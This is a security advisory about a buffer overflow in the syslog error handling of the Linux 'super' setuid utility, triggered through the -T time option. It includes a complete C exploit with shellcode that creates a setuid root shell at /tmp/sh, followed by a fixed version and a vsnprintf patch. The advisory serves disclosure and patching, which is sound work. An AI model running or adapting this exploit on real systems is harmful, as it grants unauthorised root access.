COMMAND

    super

SYSTEMS AFFECTED

    Linux with super  3.11.6...

PROBLEM

    Brazilian  Information  Security  Team  added  following.    While
    perusing  through  the  super  3.11.6,  yhey've  noticed   another
    possible buffer overflow condition if the syslog option is enabled
    (error.c):

	  (Error() function)
	  (..)
	     if (error_syslog) {
		char newfmt[MAXPRINT], buf[MAXPRINT];
	  (..)
		va_start(ap, fmt);
		(void) vsprintf(buf, newfmt, ap);
		va_end(ap);
	  (..)

    MAXPRINT is 1300 bytes long.   Error() function is used to  return
    error messages which means it probably use a user supplied data as
    an argument (it does):

	 (time.c)
	 (...)
	  return Error(0, 0, "%t\n\tInvalid time <%s>\n", str);
	 (...)

    str is the string supplied by the -T option.  As we can see,  this
    bug is  bit different  from the  one reported  above.   The 3.11.9
    patchlevel  is  vulnerable  to  the  problem, which might mean the
    newest version of super is vulnerable.  Exploit follows:

    /*
     * [            Sekure SDI              ]
     * [    Brazilian Info Security Team    ]
     * | ---------------------------------- ]
     * |     SUPER exploit for linux        |
     * | ---------------------------------- |
     * |                                    |
     * |      http://ssc.sekure.org         |
     * |   Sekure SDI Secure Coding Team    |
     * |                                    |
     * | ---------------------------------- |
     * |   by c0nd0r <condor@sekure.org> |
     * | ---------------------------------- |
     * [ thanks for the ppl at sekure.org:  ]
     * [ jamez(shellcode), bishop, dumped,  ]
     * [ bahamas, fcon, vader, yuckfoo.     ]
     *
     *
     * This will exploit a buffer overflow condition in the log section of
     * the SUPER program.
     *
     * It will create a suid bash owned by root at /tmp/sh.
     * (It'll defeat the debian bash-2.xx protection against rootshell)
     *
     * Note: The SUPER program must be compiled with the SYSLOG option.
     *
     * also thanks people from #uground (irc.brasnet.org network)
     *
     */

    char shellcode[] =
	    "\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
	    "\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
	    "\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
	    "\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
	    "\x40\xcd\x80\xe8\xca\xff\xff\xff"
	    "/bin/sh -c cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh";


    unsigned long getsp ( void) {
      __asm__("mov %esp,%eax");
    }

    main ( int argc, char *argv[] ) {
     char itamar[2040]; // ta mar mesmo
     long addr;
     int x, y, offset = 1000, align=0;

     if ( argc > 1) offset = atoi(argv[1]);

     addr = getsp() + offset;

     for ( x = 0; x < (1410-strlen(shellcode)); x++)
       itamar[x] = 0x90;

     for (  ; y < strlen(shellcode); x++, y++)
       itamar[x] = shellcode[y];

     for ( ; x < 1500; x+=4) {
      itamar[x  ] = (addr & 0xff000000) >> 24;
      itamar[x+1] = (addr & 0x000000ff);
      itamar[x+2] = (addr & 0x0000ff00) >> 8;
      itamar[x+3] = (addr & 0x00ff0000) >> 16;
     }

     itamar[x++] = '\0';
     printf ( "\nwargames at 0x%x, offset %d\n", addr, offset);
     printf ( "Look for a suid shell root owned at /tmp/sh\n");

     execl ( "/usr/local/bin/super", "super", "-T",itamar, (char *) 0);

    }

SOLUTION

    Fixed version (super v3.12.1) is now available at

        ftp.ucolick.org:/pub/users/will/super-3.12.1.tar.gz

    Please, apply  the patch  below or  remove the  suid bit  from the
    super binary (chmod u-s /usr/local/bin/super) unless you installed
    newer version which covers this issue as said before.

    --- error.c     Thu Feb 25 00:38:25 1999
    +++ error.patch.c       Thu Feb 25 01:07:53 1999
    @@ -321,7 +321,7 @@
	    if (tag)
		StrLCat(newfmt, tag, sizeof(newfmt));
	    va_start(ap, fmt);
    -       (void) vsprintf(buf, newfmt, ap);
    +       (void) vsnprintf(buf, sizeof(buf), newfmt, ap);
	    va_end(ap);
	    SysLog(error_priority, buf);
	 }
    @@ -485,7 +485,7 @@
	    StrLCat(newfmt, fmt, sizeof(newfmt));
	    if (tag)
		StrLCat(newfmt, tag, sizeof(newfmt));
    -       (void) vsprintf(buf, newfmt, ap);
    +       (void) vsnprintf(buf, sizeof(buf), newfmt, ap);
	    va_end(ap);
	    SysLog(error_priority, buf);
	 }